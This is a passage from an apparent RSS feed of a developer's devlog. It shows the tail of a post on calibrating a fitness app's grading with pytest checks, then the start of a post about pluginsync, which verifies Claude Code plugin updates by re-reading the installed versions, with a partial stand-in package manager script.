&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: got &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;overall&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, expected at least &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;min&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; - &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;why&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;max&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; spec:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(overall) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(spec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;max&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]), (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: got &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;overall&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, expected at most &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;max&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; - &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;why&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_the_cap_scenarios_are_strictly_ordered&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Obeying &gt;= straddling &gt; blowing it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    An ordering, not three fixed letters, because the failure being guarded is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    COLLAPSE: the original rubric scored straddling and blowing it identically.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    Any over-correction that makes the cap stop biting fails the second half.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    clean &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade_record(SCENARIOS[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;obedient_clean&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    straddled &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade_record(SCENARIOS[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;straddling_the_cap&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    blown &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade_record(SCENARIOS[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;cap_blown_hard&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(clean) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(straddled) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(blown)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;test_every_scenario_declares_a_verdict&lt;/code&gt; is the piece that keeps the file honest over time. Without it, somebody adds a scenario, forgets the bound, and the suite quietly goes back to asserting mechanics.&lt;/p&gt;
&lt;p&gt;Run it with &lt;code&gt;python3 -m pytest test_verdicts.py -q&lt;/code&gt; and you should see &lt;code&gt;7 passed&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The eval will fail the first time you run it, and it will be right.&lt;/strong&gt; Writing this example, the last band edge was &lt;code&gt;(0.50, &amp;quot;D&amp;quot;)&lt;/code&gt;. A run that covered 4.2 km of a prescribed 8 km is a 47.5% deviation, which landed inside D, which meant the F-cap never fired, which meant the composite averaged a near-total miss into an overall &lt;strong&gt;B&lt;/strong&gt;. Every unit test still passed, because 0.475 really does map to D under that table. The escape is to treat the eval as the authority over the constant, not the reverse: moving the last edge to &lt;code&gt;0.40&lt;/code&gt; produced &lt;code&gt;7 passed&lt;/code&gt;. Then re-run the calibration gate to check that the new edge did not wreck the distribution somewhere else, which is the loop these two tools are designed to form.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not gate on concentration in a passing letter.&lt;/strong&gt; The first draft of the real script failed any letter above a flat 60% share, and it immediately flagged three of five healthy metrics. Distance grades 79% A on live data because the prescribed distances are being hit. Symmetry feels principled and produces a gate people mute in a week.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not put this in CI, and say so out loud.&lt;/strong&gt; It needs a populated production database, and a fabricated one would only ask the fixture whether it agrees with itself. The real repo goes as far as a test named &lt;code&gt;test_the_gate_is_not_wired_into_ci&lt;/code&gt; that fails if someone adds it to a workflow, which sounds pedantic until you picture the alternative: a green check next to a corpus that proves nothing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dead band on live data is a weaker claim than a wrong grade.&lt;/strong&gt; It says the metric is unproven over this window, not broken. Running the real gate against 42 sessions today, the prescribed-cap heart-rate metric passes with four of five bands used, while the &lt;em&gt;other&lt;/em&gt; heart-rate regime, the rolling reference band used when no ceiling was prescribed, fails with C and F never issued across 32 graded runs. That is a genuine open finding, and it may well turn out to be a thin window rather than a bad table. The value is that it is now a question somebody has to answer before touching a constant, instead of a thing nobody had looked at.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Grade through the production entry point, never a copy.&lt;/strong&gt; It is tempting to reimplement the scoring inline in the calibration script, because the production path needs a database connection and context objects you have to wire up. Then the two drift, and a clean report means the copy is healthy. Wire up the real thing.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://proceedings.mlsys.org/paper_files/paper/2019/hash/928f1160e52192e3e0017fb63ab65391-Abstract.html&quot;&gt;Data Validation for Machine Learning (Breck, Polyzotis, Roy, Whang, Zinkevich; MLSys 2019)&lt;/a&gt; — the argument for validating distributions rather than examples, including how a slice-local defect hides behind healthy aggregate metrics&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC4096146/&quot;&gt;Overview of Classical Test Theory and Item Response Theory (Cappelleri, Lundy, Hays)&lt;/a&gt; — items everyone answers identically are uninformative, and variability is what makes a scored item useful&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sre.google/sre-book/monitoring-distributed-systems/&quot;&gt;Google SRE Book, Monitoring Distributed Systems&lt;/a&gt; — every alert must be actionable, because over-firing trains people to skim and ignore&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sqlite.org/uri.html&quot;&gt;SQLite URI filenames&lt;/a&gt; — the &lt;code&gt;mode=ro&lt;/code&gt; query parameter that makes the read-only guarantee the engine’s job&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;release: 0.43.0 — report-card grading fix, one-page PDFs, read-cache, and a calibration gate (dev → main) (#185) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/29ac1b8b488103ad0e89c8494e20989f19495cc8&quot;&gt;29ac1b8&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;chore(brand): press v0.7.2 — BRAND VALUES CHANGED (#174) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/afc16ec73c62fefc0296ec3aecfa60b2a0f51b32&quot;&gt;afc16ec&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;chore(brand): adopt press v0.7.1 (#172) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/a0f6798540401edcf2f89d76ec5b7e85386c1985&quot;&gt;a0f6798&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;refactor(branding): generate the PRESS token block from the shared brand (#166) (#167) (&lt;a href=&quot;https://github.com/natejswenson/local-fitness/commit/2a0f229cb2df569f73cc3d60038a51be7f7f598e&quot;&gt;2a0f229&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/local-fitness/v0.43.0.png" length="23475" type="image/png"/></item><item><title>Available, on disk, and live are three different states</title><link>https://natejswenson.com/devlog/pluginsync/v0.1.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/pluginsync/v0.1.0/</guid><description>Update commands exit 0 whether or not anything moved, so a successful update and a silent no-op are indistinguishable. The fix is to read the version back off disk after every write and report what did not move as loudly as what failed.</description><pubDate>Sun, 02 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;pluginsync 0.1.0 reconciles the Claude Code plugins installed on a machine with what the marketplace actually offers. It reports one row per plugin, installs what is missing, updates what drifted, and then re-reads the installed list and compares.&lt;/p&gt;
&lt;p&gt;That last step is the entire reason it exists rather than being a shell alias for four commands. &lt;code&gt;claude plugin update&lt;/code&gt; prints no version and returns success when it no-ops. So “✓ updated skillfactory” followed by a &lt;code&gt;/skillfactory&lt;/code&gt; that still runs the old code is not a rare edge case; it is the default failure, and nothing in the output distinguishes it from success.&lt;/p&gt;
&lt;p&gt;The pattern generalizes to anything that mutates state through a CLI you do not control. Below is a runnable version, small enough to lift into whatever your equivalent is.&lt;/p&gt;
&lt;h2&gt;The three states a manager collapses into one&lt;/h2&gt;
&lt;p&gt;Most package and plugin managers report one bit: the command worked. There are actually three states, and conflating any two of them produces a confidently wrong report.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;th&gt;Means&lt;/th&gt;
&lt;th&gt;How it is known&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;available&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;the source offers this version&lt;/td&gt;
&lt;td&gt;the catalog or manifest at the source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;on disk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;this version is installed here&lt;/td&gt;
&lt;td&gt;the manager’s list output, re-read after every write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;live&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;this version is loaded in the running process&lt;/td&gt;
&lt;td&gt;only true after a restart, so never assert it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Other tools already draw part of this line. &lt;code&gt;npm outdated&lt;/code&gt; prints &lt;a href=&quot;https://docs.npmjs.com/cli/v11/commands/npm-outdated&quot;&gt;three columns&lt;/a&gt;, where &lt;strong&gt;Current&lt;/strong&gt; is what is installed in &lt;code&gt;node_modules&lt;/code&gt;, &lt;strong&gt;Wanted&lt;/strong&gt; is the most recent version your semver range allows, and &lt;strong&gt;Latest&lt;/strong&gt; is what the registry tags. Ansible goes further and makes the distinction a return value: every module reports &lt;a href=&quot;https://docs.ansible.com/ansible/latest/reference_appendices/common_return_values.html&quot;&gt;&lt;code&gt;changed&lt;/code&gt;&lt;/a&gt;, a boolean for whether the task actually had to modify the target, separately from whether it failed. Terraform calls the same idea refresh, &lt;a href=&quot;https://developer.hashicorp.com/terraform/cli/commands/refresh&quot;&gt;reading the current settings from real remote objects&lt;/a&gt; and updating state to match rather than trusting what it last wrote.&lt;/p&gt;
&lt;p&gt;The rule that falls out: &lt;strong&gt;never report a thing as updated because a command succeeded; report it because the version on disk changed.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Prerequisites: a manager that lies to you&lt;/h2&gt;
&lt;p&gt;To watch the failure, you need a manager that no-ops silently. Save this as &lt;code&gt;fake-pm.mjs&lt;/code&gt;. It stands in for the real CLI and behaves the way most of them do.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env node&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * A stand-in for the package/plugin manager you actually use.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * It behaves the way most of them do: `update` prints a cheerful line and&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * exits 0 whether or not anything moved. `STUCK` is the real-world case being&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * simulated, a plugin the manager believes is fine and refuses to touch.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, writeFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; STATE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;./state/installed.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; STUCK &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;reporter&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);   &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// pretend this one silently no-ops&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(STATE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [cmd, name] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;list&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(), null, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;update&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cmd &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;install&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; installed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; available &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;./catalog/catalog.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;STUCK.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; row &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; installed.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((p) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; p.name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; available[name];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (row) row.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; installed.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ name, version: target, enabled: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
